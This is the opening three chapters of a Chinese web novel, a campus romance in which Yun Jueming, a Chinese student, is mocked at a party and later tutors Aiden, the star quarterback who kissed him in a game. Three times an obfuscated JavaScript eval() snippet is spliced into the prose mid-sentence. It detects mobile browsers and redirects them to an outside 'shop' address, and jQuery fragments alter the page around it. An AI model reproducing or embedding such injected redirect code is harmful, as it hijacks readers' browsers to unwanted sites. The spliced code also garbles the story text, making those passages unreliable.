《赴火》 1. Chapter·One 云决明站在门外。 他再次掏出手机,屏幕上显示的时间是22:34分。 照理来说,到了这个时候,在居民区举办的派对多半都会结束。受不了噪音的邻居会报警,而不愿被抓住违法饮酒的学生们会一哄而散,留下派对主人面对一地狼藉。他就打算在这个时候到访,避免不必要的社交寒暄。 但从屋内喧闹的音乐,和窗户内清晰可见正在群魔乱舞的十几个男男女女来看,这派对还正在兴头上,与他料想的全然不同。 他又按了一次门铃,这是第三次了,依旧无人应答。 初春反而比深冬更冷,是约州的特点,大雪有时会下到四月份,接着倏然就蹦出了夏天。此时是二月,距离严寒结束还早,薄薄一层雪覆盖在前院的植被上,没融化干净。在一排探射灯的照耀下,连沾染在雪上的焦黑叶子都能看清。学校发邮件说过两天还会有更大的一场暴风雪要来,意味着天气会更糟。 开来的车上有暖气,云决明只在毛衣上套了一件外套,寒冷静静拥他入怀。 我该走了,他想,却迈不动脚步。 主动推开门,当个不速之客,发现整个派对都因为他的闯入安静下来,所有目光都集中在身上,给他带来的厌恶感不亚于在家中突然看见一只蟑螂。 忽然,一对男女“咣”地推开了门,跌跌撞撞地大笑着跑出来,云决明赶紧侧身让开。女孩明显醉了,她有着一头夹棕的金发,人很漂亮,穿着紧身红裙,连外套也没披,一只手搭在男伴的身上,另一只手向他挥舞。 “嘿,你站在那儿做什么?” “杰森在吗?”他言简意赅地问道。 “谁?”她居然不知道,看来应该不是U大的学生。 “杰森,这栋房子的主人。”也许是,至少他拿到的地址就是这里。 “我不认识什么杰森,”女孩咯咯地笑了起来,倒是她的男伴开口了,“他在里面,你想找他的话,就直接进去。” 云决明迟疑了,但男孩一只手还为他把着房门,偏头看他,用眼神询问。暖气汹涌着从屋内四散逃窜,隐约还能听见有人大喊“关上那该死的房门!”,他赶忙说了声谢谢,伸手接过温暖的木头,迅速转身溜进了屋子。 门口放了张写着“甜蜜的家”门垫,云决明在上面蹭了蹭鞋,才迈出下一步。 背景音乐是某个流行歌手的摇滚音乐,一连串激烈的鼓点在他走进的刹那就刺穿了耳膜。接着就是扑面而来,令人窒息的香水与古龙香水的混合,以及某种难闻的气味,证实有人把违禁品带到了这个派对上。 所幸,没人注意到一个中国男孩走进了门厅,云决明对这一点很满意,他先去厨房看了几眼,接着是客厅,又转到屋子的另一边,一路上避免任何肢体及眼神接触,最后才在通往后院的露台上发现了杰森的踪影。 来之前,他特意去找了杰森的照片,对方棕发蓝眼,个子有一米九,英俊逼人,不会认错。 只在温暖的室内待了几分钟又来到了室外,寒风再度逼来,云决明裹紧了大衣,决定速战速决。“杰森,”他停在对方面前,内心祈祷他千万别喝醉了或磕嗨了,“是杰森没错吧?” 对方看起来很清醒,只是没认出他来。 “我是Ming,”他说,忽略转向自己的七八双眼睛,他们应该都是杰森的朋友,换言之,整个学校里最酷的那一批人,“你在社会学课上的团队合作项目搭档。” 不允许单独完成团队合作项目,及不允许自由挑选搭档的教授,在云决明看来十恶不赦。 “噢……”杰森拖长了声音,懒洋洋的,他身旁的几个女孩发出了咯咯的笑声,“抱歉,我记不住你们……亚洲人的面孔……我邀请你了吗?” “没有,”云决明说,要承认这一点让他很不快,“我听说你要举办一个派对,就从别人那儿拿到了地址,这不难,几乎大半个学校都知道你住在哪儿。” “所以……这就是你认为你能大摇大摆地走进我家的理由?” 他的话再次惹起了笑声。 云决明深吸一口气,“我也不愿意这么做,但你几乎从不前来上课,我给你最少发了数十封邮件,提醒你我是你的搭档,提醒你该完成的作业部分,但你一封也没有回复,杳无音讯。我向教授反应了你的缺席,但教授却反问我是否已经在联系你这件事上尽力了,”这又是另外一个十恶不赦的点,“显然,他认为仅仅企图通过邮件联系你是不够的,所以我被迫来到这儿了。” 他说的很快,非常快,堪比绕口令大赛的那种快。他一点也不想过来,但是如果他的GPA低于4.0,他就会失去由荣誉协会提供的奖学金补助。 他不想背上学生贷款,这份补助不仅能替他支付完学费,甚至每学期末尾还能拿到一笔约莫一千美金的退款,刚好能替他支付完下一个学期的油费和书本费,不必去打工。为此,他必须门门成绩都拿A。 “你可以在脸书上找我。”杰森漫不经心地说道。 “我试过了,你没有通过我的好友申请。” “噢,对,我忘了说了,我的脸书有自动筛选书呆子的过滤器。”这句话再次引发了一阵大笑。他是故意这么问的,但云决明不得不站在那儿接受这长达几秒的羞辱,“不就是团队合作项目吗,你直接完成我的那一份就好了。” “我的确完成了,而且通过邮件发给了你。”这是作弊,但他知道在场没有人会去举报这一点。杰森是校橄榄球队队长,ADP兄弟会成员,风云人物,谁都不会选择跟他对着干,“我只是需要你把我完成的部分从你的学生账号提交给教授。” “噢……”又是一声拖得长长的回应,云决明不确定他究竟听进去了没有,“死线就是星期三晚上11点,你一定要记得在那之前——” “你打算留下来玩吗?”杰森举起了红色杯子喝了一口,不用闻云决明都知道那里面一定是酒。 “不——” “我猜也是,你不是还要赶在宵禁前回去吗?不然妈妈要担心了。‘噢,我的表贝在哪?我的表贝去哪儿了?我嚎担心呀’。”杰森模仿着浓重的中国英语口音,所有人都放肆大笑着,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041178|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至有几个人做起了眯眯眼的动作。云决明放在口袋里的拳头捏紧了,政治正确的法则在校园明星面前根本不适用,即便他向学校投诉杰森的歧视行为,在场的学生都会为他作证不实。这时说什么都是徒劳。 “很好笑。”他冷静地说道,“不知道如果警察来了这儿,看到了这儿酒,烟,还有叶子,会不会也觉得这么好笑。” “你可以试试看,”杰森这回笑了,尽管有几个人不安地扭动了一下,“看看究竟会不会有人来。” 云决明迟疑了,他拿捏不定对方是在虚张声势,还果真无所畏惧。 “说完了?。”杰森的讥笑转为了一种似笑非笑的不屑,“说完了就滚。” “没问题,”云决明保持着自己的平静,他上前一步,俯身用只有他和杰森能听到的声音轻声说,“但我觉得,你应该知道,有研究表明,种族歧视者多半基基都很小,因此才要用种族傲慢来遮掩自己不算个男人这个事实。” 他说的很快,等杰森明白过来他的话语时,云决明已经回到了屋子里。 现实中根本不存在这样的研究成果,但云决明怀疑杰森根本不知道要如何去证实这一点,倒不如就让他每一次说出歧视语句时就忍不住怀疑一下自己的男子气概。 思考着自己究竟该如何再一次跟教授提出换搭档的要求,他低头从三两聚群的学生中绕着走,但他不得不在一排足有六七个女生组成的小团体前停住脚步,小声说着“麻烦让一下”,指望有哪个没在咯咯尖笑的女孩能听见自己的话。 他身旁爆发出一阵夹杂着怪笑的欢呼,那些女孩纷纷回头,有个可爱娇小的拉丁裔女孩注意到了他,便微笑着侧让开了身子,云决明说了声谢谢,刚想深吸一口气收腹挤过去,肩膀就突然被人扶住了。 他诧异地回过头。 一开始,他还以为是杰森派人来挑衅,云决明第一眼看到的是学校的球队卫衣,上面写着号码——只有球队成员才能拿到这种卫衣。但他马上就看到了对方的脸,是个中国人。 准确来说,那不是一张典型中国人的脸,只是带着东方韵味。房间里灯光昏暗,也就够他看清楚轮廓。 “怎么了?”保险起见,他还是用英文问的。 “亲!”“亲!”“亲!”“亲!”“亲!” 在几乎能盖过音乐的尖叫声中,云决明隐隐约约分辨出了这群人究竟是在大喊着什么,他往眼前这个中国男生的身后望去,发觉有十几个人围着茶几绕成了一个大圈,其中有一半都是橄榄球队的成员,另外一半则都是惹火貌美的年轻女孩,一个酒瓶被他们放在茶几上,瓶口穿过两个女孩只穿着吊带衫的肩膀,笔直地指着他。 云决明突然有了不好的预感,他的肩膀往后一缩,还想往刚才拉丁裔女孩给他让出的空间钻,却发现周围的人已经将他围了起来,不少人还举着手机,笑得东倒西歪,同时还不忘叫喊助兴。 “我真的很抱歉,”那男孩耸了耸肩,他的英文很正宗,一点口音都没有,“但这是游戏规则,你知道的。” 他突然亲了下来。 2. Chapter·Two 艾登打着哈欠走进教室。 从早上八点一直延续到十点五十的统计学课让人完全没有任何起床的动力。然而,要是他再一次挂科了这门必修课,就得延毕了。这个想法让他半个小时以前挣扎着从床上爬了起来,匆匆地洗了个头发,顺手刷了个牙,就一路飞奔而来。 所幸没有迟到。 “关上门,”正在黑板上书写的凯斯勒教授回头望了他一眼,这个古板的老人对橄榄球队明星没有任何好感,“还有五分钟课堂就要开始了。” 这句话,就意味着所有在他之后抵达的学生都通通不许进门,将直接被记为缺席。 凯斯勒教授的严格在数学部门是出了名的,他在“给我的教授打分”网站上只有2.7的分数,底下全是学生的哀嚎与警告,建议后来者“只要有其他选择,就绝对不要上他的课”。 然而艾登没有选择,他是唯一一位在早上教授统计学101的老师。 虽然没有迟到,但他来得也不算早。这节课共有两百多人一起上,几乎填满了整个教室,艾登只找到了几个角落里的空位。除此以外,就是第一排的所谓“死亡座位”。凯斯勒教授最喜欢提问坐在那里的学生,所以除了几个不怕死的印度人以外,剩余的座位都无人问津。 “快点坐下。”凯斯勒教授催促道,同时严厉的目光扫过那些小声嬉笑的女孩——她们都正朝着艾登眨眼,招手,希望他能在身边就坐,“都抄完了吗?我马上就会把这些写下的知识点擦掉,这都是今天这堂课上要讲的内容。” 教室里掠过一片低低的哀嚎,没人再敢抬头,全都继续奋笔疾书,这就让教室里唯一一个悠闲地靠在椅背上的男孩显得额外鹤立鸡群,艾登不经意地瞥了他一眼,却停住了脚步。 他认得他。 那是个中国男孩,这一点并不奇怪,这个教室里至少有四分之一的学生都是中国人。但他认得对方柔软的黑色碎发,刘海下浅淡的眉毛,柔和的鼻梁及细长的嘴唇,他近距离瞧过,嗅过,还吻过。 在杰森的派对上,艾登松开他以后,所有人都等着那个男孩的反应,看他敢不敢给橄榄球队的四分卫脸上来一拳,亦或嬉皮笑脸地对那个吻点评一番,还是会跟个女孩一样羞红了双颊,落荒而逃。但那男孩只是冷淡地瞥了艾登一眼,手指轻轻擦过双唇,仿佛是有只苍蝇在那儿停留了一会。 “能不能让一让,”他说,“我得离开了。” 人群迟疑着分开两拨,每个人都显得很失望,手机纷纷放下,“真无趣,”他身后有个女孩轻蔑地开口了,“早知道这样,就该让艾登来吻我。” 那男孩猛然转身,艾登这时才瞧见了他眉眼中压抑的怒气,他抓住那女孩的肩膀,“吧唧”一口亲在对方脸上,“There you go,”他说,女孩已经吓傻了,周围又爆发出一阵激烈的怪叫,“这就是你梦寐以求的吻,滋味不错吧?” 他的手颤抖着滑下,随即便头也不回地走了。 把书包甩在课桌上,艾登挤进了座位里。这男孩坐在一个偏僻的角落,周围几个座位都是空的,“Hi,”他小声地打了句招呼,“还记得我吗?” 那男孩早就在他走上过道时就瞧见了他,这会干脆装起了聋子,只顾着转着手中的笔,什么反应都没有。 “我能抄一下你的笔记吗?我来的太晚了。” 本子被沉默地推到了他面前,是学校商店里卖2.75美金一册的笔记本。有着大大的U和猩红的封皮,既是学校的代表颜色,也是球队的代表颜色。纸页上的字迹整洁好看,只除了有些他看不懂的中文字。 “这是什么?”他在书包袋子里摸了半天,只摸出了一支铅笔,而且懊恼地发现它已经秃了,“我看不懂。” 一支水笔被推了过去,“你不认识中文?”那男孩总算开口了,他的英语口音很重,艾登猜测他可能是留学生。 “我把上中文学校的时间都拿去参加少年橄榄球联盟了,”艾登露齿一笑,把水笔又推了回去,他不习惯用墨水写字,改起来既麻烦又不好看,“有铅笔吗?” “跟个小学生一样。”那男孩用中文嘟囔了一句,在他的笔袋里摸索了半天,才找出一支自动铅笔,又推了过去。 “用铅笔怎么就跟小孩子一样了?”艾登好笑地问道,说的是英文。“嘘!”那男孩瞪了他一眼,“你想说话的话,就坐到别的地方去。” 那来自书呆子的典型恼怒眼神同样还说了,如果他要坐到别的地方去,笔记不能带走。 艾登好笑地在嘴唇上做了一个拉拉链的动作,男孩无动于衷,只是全神贯注地注视着已经开始讲课的凯斯勒教授,手中的笔越转越快。艾登翻到笔记的封面,在那儿找到了一个名字。 Ming。 “Ming……”他小声地念着,“这是哪个明?明天的明,还是人民的民?” 笔尖吧嗒一下掉在桌子上,“明天的明,”男孩越发不耐烦起来,用中文回答道,“你可以闭嘴了吗?” “告诉我你的全名,我就闭嘴。”艾登只能听得懂中文,却不会说。 “你想干嘛?” “我至少得知道自己在跟谁道歉,不是吗?” “下课再说。” “那还有一个小时二十分钟呢。”艾登不满地抱怨道,“而且你的笔记上还充斥着我看不懂的语言,叫我怎么好好听课?” 笔记本被一把粗暴地抽了回去,几分钟后,再被推回来的本子上写满了英文翻译。“我最后说一遍,”男孩用中文咬牙切齿地说道,“安静一点。” 艾登照做了。毕竟,他强迫自己一大早起来上课就是为了能至少在期末拿到一个及格的分数。直到凯斯勒教授宣布大家可以稍微休息一下,他才再度转向那男孩,这会他正忙着把自己抄在草稿纸上的笔记工工整整地誊抄在本子上。 “听着,Ming,我想为前几天的事道歉。” 没有回应,只有笔尖与纸张的沙沙声响。 “你知道……就是周五晚上,在杰森的派对上,我亲了你的事。” 笔尖顿了顿,然后又继续写了下去,没有回应。 “如果我可以为自己辩解一句的话,那天晚上我喝了许多酒,已经有些醉了——” 没有回应。 “——而且,我以为你是杰森请来的客人。他请来的都是学校里的玩咖,我的意思是,比较玩得开的那群人……” 没有回应。 艾登从来没有被这样冷漠地对待过,但他还是硬着头皮说了下去。 “总而言之,我很抱歉把你牵扯进了我们的游戏中。” 仍然毫无回应。 “如果——如果能让你感受好点的话,我已经让大家删除了录下的视频,没有人会把它传到社交媒体上去的。而且我也嘱咐了大家不要再提起这件事。” 这句话总算激起了一点浪花,男孩转过头来,脸上没有任何表情,“我接受。”他平平地说道,“笔记你抄完的话,就坐到别的地方去吧。前排有几个女生为了看你,脖子都快要扭伤了。” 艾登笑出了声,“可我没有说话。”天地良心,为了不打扰这小书呆子上课,他甚至连手机都没看。 “但会有许多人频频往这儿看来,”知道他能听得懂中文以后,男孩干脆都用中文跟他说话,“我很不习惯这一点。请你去别的地方坐吧。” “你是留学生?” “不是,我从十一岁起就在美国了,”男孩皱起了眉头,“你问这个干嘛?” 艾登吹了声口哨,“只是好奇你是怎么从高中存活下来。”瘦弱,白皙,书呆子,而且还是亚裔,同时还不喜欢社交,讨厌被人注视,混合在一起,简直就是高中霸凌者最心爱的一道菜肴。 正是因为担心他因为亚洲面孔遭到歧视,艾登的爸爸才会从小把他送去打橄榄球。事实也证明了,只要会运动,能社交,美国人并不太在乎人种。杰森是个不折不扣的白人至上主义者,人们都说他的老爸年轻时曾经加入过极端白人组织,但就连他也不敢在艾登面前说出什么歧视亚裔的话。 “不关你的事。” “看来你有不少惨痛的记忆。” “不关你的事。” “要是当初欺负过你的人也上了这所大学,告诉我他的名字,我可以让他跟你道歉,就当是我的赔礼,怎么样?” “怎么?要用你作为橄榄球四分卫的身份逼迫他?要你的粉丝俱乐部里的那些女孩去骚扰他?还是叫那些想要加入兄弟会的新人把他狠揍一顿?”男孩冷冷地说道,“这跟那些霸凌者的所作所为又有什么区别?” “看来你知道我是谁。”艾登饶有兴致地说道,他之前还以为男孩的冷淡态度是因为不清楚他的身份,毕竟,这种亚裔书呆子通常都不怎么在乎运动赛事。 “谁都知道你是谁,艾登·维尔兰德,校橄榄球队的明星四分卫,”他又埋头继续抄写笔记了,“我只是没想到你会是个华裔。” “要是我每次听见这句话都能得一分钱,我现在就能买下那辆我日思夜想的跑车了,”艾登笑了,“我的妈妈和奶奶都是中国人,只是我的爷爷是白人——老实说,我很怀疑,我的奶奶希望我父亲能娶一个中国女人的原因就是为了能有个人说说中文,我家住在一个几乎全是白人的社区里,附近连一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041179|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中国人都没有。” 男孩只从鼻子里嗯哼了一声,一副兴趣缺缺的样子。 “那你呢?” “我什么?” “你的家人呢?” 男孩终于再次抬起头来,“你只是为了一个愚蠢的游戏亲了我一下,没必要通过跟我套近乎来表示你的歉意。你要是真的有那么抱歉,不如帮我催催你的好兄弟杰森赶紧提交他的那份作业。” “什么作业?” “社会学课的团体合作项目。” “杰森不会做的。”艾登太了解他了,最后,他只会把作业丢给某个急切地想要加入兄弟会的新人完成,那还仅限于必修课。像社会学这种选修课,他根本不会在乎。 杰森的人生里只有两样事物:橄榄球,以及金发碧眼的大胸女人。 “我知道,我已经替他完成了,他需要做的只是从他的账号提交给教授,难道说你的好兄弟连动动鼠标就能完成的事都不肯吗?” “你替他完成了?”艾登吃惊地长大了嘴巴,他怎么就没遇上过这么热心的团队项目合作搭档。 “教授不肯给我替换搭档,我投诉到了院长那儿,院长也说他无能为力。我没有别的选择,我需要在每门课上都拿高分。” “是啊,通常来说,教授们都不太愿意得罪橄榄球队的队长,尤其当他们打出了一个特别辉煌的赛季过后,”凯斯勒教授或许是特例,“好吧,我会跟杰森谈谈。” 男孩望向他的眼神总算友好了那么一点,“谢谢。”他轻声说,“这样就算扯平了。” “但这肯定不是唯一一个需要他完成的团队合作项目内容,毕竟这学期才刚开始没多久,不是吗?”艾登狡黠地一挑眉毛。 “这只是第一部分。”男孩承认了,“怎么了?” “那你以后还是有用得着我的地方的,”艾登想学他是如何转笔的,但每次笔杆转不到半圈就会落下,“但这么一来,就变成了你欠我人情了。” 男孩眼神立刻警惕了起来,“你想做什么?” “我想你教我统计学。” “别想了,不可能的。” “为什么?” “学校里有专门的辅导中心,即便你约不到助教,我敢打赌这门课上的每个女生都愿意付出一切代价,只要能跟你说上一句话,更别说跟你单独相处几个小时。你干嘛要找我?我的时间很宝贵的,不想浪费在脑袋已经在球场上被撞得只剩下浆糊的橄榄球四分卫。” 他说话太快了,简直堪比姆爷饶舌的速度,艾登只听懂了一小部分,就是那句“你干嘛要找我”。 “因为你不在乎我是橄榄球队的四分卫。”他说,“我试过找学校的助教,但他们只想把一半的时间都拿来讨论我在球场上的表现。我也找过P大的统计学研究生来教过我,但凯斯勒教授既不划分考试范围也不分发复习大纲,他教不到点子上。” “那是你的问题,与我无关。” “我会给你付高昂的薪水。” “五百美金一小时。”男孩直接抛出了一个金额,挑衅的眼神分明认为他不可能接受这么夸张的条件。就是请来P大或C大的研究生辅导,也不敢收这么高的费用。 “就这么定了。”艾登说。他已经想清楚了,想要通过凯斯勒教授的课,找个同班的优等生才是最好的选择。 “啊?”男孩愣住了。 “明天晚上,你有空吗?今晚我有课。” “五百美金一小时,你听清楚了吗?”男孩改用英语说道,拒人于千里之外的神色犹豫着松动了。艾登能看出来,这一笔不菲的额外收入对他来说很重要。 “很清楚。如果你能让我以B的成绩通过这门课,我再额外给你两千美金的奖金,怎么样?” 男孩的手指几乎是以一种惊人的速度在转着手上那支笔,他紧抿着嘴角思索了几秒钟。 “如果期中,第二次期中,还有期末考试我都让你以70分以上的成绩通过了,我还要另外加收费用。” “没问题。” “那就这么定了,我明天晚上有空。”他犹豫的时间很长,做出决定倒很干脆。 “这是我的地址,还有我的电话号码。”艾登在笔记本上写了下来,此时凯斯勒教授已经不紧不慢地回到了讲台上,再一次开始在黑板上写起了板书,男孩只是匆匆瞥了一眼,点了点头,便扯过了一张新的草稿纸,龙飞凤舞地抄了起来。 “对了,你还没告诉我你的名字是什么。” “云决明。” 他抬起头,小声说道,艾登第一次见他微微露出了一点笑意。 “云—决—明。” 3. Chapter·Three 如同艾登所说,这的确是个典型的白人社区。 整条街道幽静优雅,高大的北方红橡沿着人行道一路蔓延,树影整齐沉默,与褪成铜色的路灯并肩。沉甸甸地压着白边的枝叶在灰黑夜色中闪着微光,在道路上方纵伸拥抱。皑皑新雪在屋顶上勾勒出瓦片细木的线条,空气中犹见片片飞灰,晃眼如一张完美至极的圣诞贺卡。 富裕社区不动声色的百年历史,往往只看这一眼就能知晓。 艾登嘱咐过他将车停在路边就好,他家前院的白色雕花大门半敞,想来是为他而留。宽敞的半圆形车道上已经满满地停了五辆车,也容不下第六辆。 云决明熄火,半边身子钻出打开的车门,好披上外套。 放眼望去,他这辆半新不旧的2008年本田仿佛是粘在豆腐上的锅灰,相比整条街道停着的奥迪,宝马,雷克萨斯,路虎等,显得是如此刺眼。他毫不怀疑自己要是开着这辆车在这儿多转几圈,某个窗户后的多疑家庭主妇就该打电话报警了。 艾登家前院有一片打理得非常漂亮的小花园,大团大团的绣球花灌丛环绕着屋前,修剪成波浪形的灌木丛如缎带紧紧跟随。左右尽头各种植着两颗垂柳树,全覆盖着一层似棉花般的糖霜。 车道与人行道隔着的半圆形花圃里还有一颗樱花树,只是此时还只有细细的花骨朵。上百盏探照灯藏在草丛里,柔和的光柱显然经过精心布置,既能让人轻易看清屋子的全貌,又不至于喧宾夺主。 在来之前,云决明就已经查过了眼前这栋维多利亚风格房屋的资料。 如同他一回家就立刻查了橄榄球队的比赛照片,惊讶地发现那个公然亲吻自己的男人居然是那个声势烜赫的艾登维尔兰德,在上个赛季跑出了1200码惊人成绩的四分卫。 这栋房屋上一次成交记录是在十八年前,成交价格是五百四十八万美金,“给你的房屋估值”网站只给出了这么一点信息。云决明给不出其他诸如对房子进行了什么改造之类问题的答案,全部按了跳过。即便如此,网站也提醒他,因为该地区良好的治安记录,以及同个街区的房屋成交价年年见涨的缘故,这栋房屋如今可能价值六百万美金。 怪不得他付得起五百美金一小时的家教。 他按了门铃,立刻就听见了响亮的犬吠声,一阵“哒哒”的脚步声传来,接着就是爪子搭在门上的抓挠声和急切的呜咽声。云决明警惕地后退了一步,又向右边挪了一些,免得门一开,就有一只流着口水的大型犬扑到他身上。 “坐下,洛克希。这就对了,乖孩子,安静。” 一个男人的声音闷闷地在墙后响起,随即,木门打开了。只穿着一件短袖T恤和棉麻长裤的艾登赤脚站在门口,“你很准时嘛,”他说,温暖的笑容让见到他的人都忍不住心生好感,“还有五分钟才到八点呢。” 云决明探头望去,一只端坐着都能到大腿那么高的罗威纳犬就在艾登身后,粗壮的尾巴轻巧地在地毯上来回扫着。视线与他对上的刹那,罗威纳犬发出了威胁的呜呜声,那双凶狠的眼睛一瞬不瞬地瞪着来客。 “洛克希,友好一点。”艾登揉了揉他的脑袋,“这是云决明,我的家教,他以后会经常过来,你得好好记住他。” 那三个字他说的还算标准,比在统计课上一口香蕉人的发音好多了,也不知道是不是寻求了母亲或者祖母的帮助。 木门在身后关上,罗威纳犬走上来嗅了嗅云决明的手,从鼻子里发出了一声明显不善的呼噜声,转身迈着“哒哒”的步子走了。 “洛克希对外人都很警惕,”艾登解释道,“不过别担心,刚刚那就算是他对你的接纳了。” 我看不像。这句话到了云决明口边又咽了下去,犯不着跟一只狗计较。他心想,更何况,他来这儿教的是人,又不是为了跟狗做朋友。 至少艾登愿意为那天派对上发生的事情道歉,证明他还算得上是个好人,教养也不错。既然他出得起这么多钱请自己辅导,而自己也恰好需要这么一笔钱从家里搬出去住,云决明还是乐意接下这份工作的——每个星期教四个小时就能拿到不必交税的两千块钱,干什么都没这个来钱快。 他已经不去想派对上的那个意外之吻了。 艾登给他递了一双拖鞋过来。他家虽然只有奶奶和妈妈是中国人,外面的门廊柱上还挂着星条旗,这点倒和一般的华人家庭没什么不同,去美国人家里是不必换鞋的。 “你好?” 一道轻柔的女声响起,说的是中文,很标准,带着一点南方人的口音。刚站起来的云决明循声望去,瞧见了一位身材高挑的中年妇人,正站在客厅与门厅的交接处。 她穿着一件平领毛衣,套一条黑色的长裙,珍珠项链在脖子上折射出圆润的光泽,发髻挽得整整齐齐。即便在家里,她也穿着一双低跟的尖头鞋,只是地毯遮掩了脚步声。 那应该就是艾登的母亲。 “阿姨好。”他点了点头,说的也是中文,“打扰您了,我是艾登的家教辅导。” “是的,我听他说起了,”艾登妈妈微微一笑,缓步向他们走来,她的气质很高雅,姿态无可挑剔,保养也很得当。看起来像个三十多岁的美丽女人,“云决明,是吗?” “对,云朵的云,决定的决,明天的明。” “如果你愿意的话,可以喊我维尔兰德夫人,也可以喊我祝阿姨——我本姓祝,但当我结婚的时候,这个社会还没有如今那么开放,我的夫家又是老派人,因此我也随夫姓了。” 云决明没吭声,他不觉得中国女性嫁到外国后随夫姓有什么不好,但他知道有许多华人都对此诟病不已——“在国内吵着要女权平等,到了国外却巴巴地跑去跟洋人姓,就是贱。” 他的母亲就这么做了,只是离婚后又改回了原本的姓氏,连带着他也一并改了。 “你吃晚饭了吗?还没吃的话,我可以给你去煮一碗面,或者给你炒两个小菜也行。家里有包子和饺子——不过都是超市里买回来的速冻品,你不介意的话,就给你蒸一点。” “速冻品没什么不好的,妈,我就很爱吃。”艾登抗议道,“再说了,云决明是来这儿辅导我功课,不是来吃饭的。你知道我给他付多少钱一小时吗?” “你自己同意了那个价格,说明你觉得对方就值得这个价格,没有抱怨的必要。”祝阿姨拍了拍艾登的肩膀,手指顺道捏了捏他的耳朵。 这小小的亲昵刺痛了他的眼。 “我已经吃过饭了,”他一直在图书馆里待到七点二十才离开,晚饭就是边开车边塞进胃里的一个贝果。一碗面或几个小菜听起来诱人极了,但云决明还算识趣,“谢谢您的关心,祝阿姨。” “别忘了你的爷爷奶奶已经休息了,艾登,”祝阿姨再叮嘱了一句,她对自己儿子反而说的是英文,“不管做什么都小声一点,别吵着他们。” “知道了,妈妈。”艾登作势赶着他的妈妈,“哎哟,我们不是说好了,我有朋友来拜访的时候你不用来招待吗?” 看来,即便有这么优雅温柔的母亲,孩子仍然免不了要经历觉得父母丢脸的阶段。云决明有些好笑,他能想象诸如杰森或其他橄榄球队队员之流看到这一幕会有什么反应,估计要在背后好一通笑话艾登,给他起诸如“Mummy''s boy”的外号。 “这么说,一会你不需要我给你们端上咖啡和曲奇了?” “我们都是大人了,妈妈,想吃我们自己会去拿的。”艾登推着他妈妈往门厅的另一边走去,两人都盈盈笑着。 “是大人就该搬出去住了,”祝阿姨回手点了点他的鼻子,“而不是待在家里,每天嚷着要奶奶给你做你最爱吃的饭。” “妈!” “晚安,艾登。晚安,云决明,你出去的时候我就不送你了,让艾登送你就行了。” “他不是小学生,妈,我想他还是找得到门把手在哪的。”艾登嚷道,但祝阿姨已经消失在走廊上了。 “不好意思,让你看到这一幕……”艾登挠着头,颇为不好意思地走了回来,“我妈平时不会这样的。我猜是由于我告诉她来的是个中国人,而且还不是ABC,是她能用中文交流的那类,让她觉得挺开心的缘故。” “你平时不会邀请其他中国人来这儿吗?”云决明觉得这么说怪别扭的,却又说不上哪儿别扭。和其他中国人说话的时候,没有谁会这么说,反而一口一个“老外”,“老白”,“老墨”,“老黑”,仿佛国人才是这儿的主宰,别者皆为来客。 “会啊,但都是些ABC,有些甚至连中文都听不懂,只能听懂粤语。我的生活圈子里全是白人。我妈很不喜欢这点。”云决明跟着艾登往屋里走,这间屋子非常大,绕过有电视的客厅后,便来到了一个更大的会客厅,有着挑高的天花板和一个货真价实的壁炉,姹红的火苗正在木柴上流动,看着就让人觉得温暖。 “既然祝阿姨不喜欢,你没打算改变吗?”会客厅背后是楼梯,但艾登却往楼下走去。 “我也想过要交一些中国人朋友,但说实话,他们跟我的共同点实在太少了——运动,派对,流行趋势,历史,哲学,艺术,没一个是他们感兴趣的。这就算了,还特别喜欢跟我谈论政治。老实说,每次沟通对我来说都是一次提心吊胆的试炼,一不留神就会得罪某个人,交流起来实在是太累了。” 看来他也不太可能成为艾登的朋友。云决明心想,运动,派对,流行趋势,历史,哲学,还有艺术,他全都不感兴趣。 艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041180|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登摸索着打开了地下室的灯。 “这儿是我的秘密基地(Boy cave),”他说,“既然不能吵到爷爷奶奶,我们就只能来这儿了,妈平时不帮我收拾这儿,有点乱,你别介意。” 对于乱,他的确没夸张。 布艺沙发上胡乱铺了几床毯子,桌子上有空可乐罐,披萨盒子,还有当地一家颇为有名的墨西哥餐厅的打包袋。长绒地毯上扔了两只袜子——云决明忍着把它捡起的冲动,“不怎么乱啊”,他违心地评价道,“比大多数男孩的房间都要好多了。” 艾登已经一个健步冲过去,开始收拾了。“我没料到今晚要在这儿学习,不然不会让这儿乱糟糟的。不过有时候我的爷爷奶奶的确会休息得比较早,我爷爷身体不太好。” “你其他家人呢?” 把书包放在沙发上,云决明随口问道,打量着房间剩余的部分。沙发正对面是一台六十寸大电视,xbox one,PS4,及wii U摆在两侧,前世代的其他游戏机也在队列中。下方的四排书柜中则塞满了一排排的电子游戏。 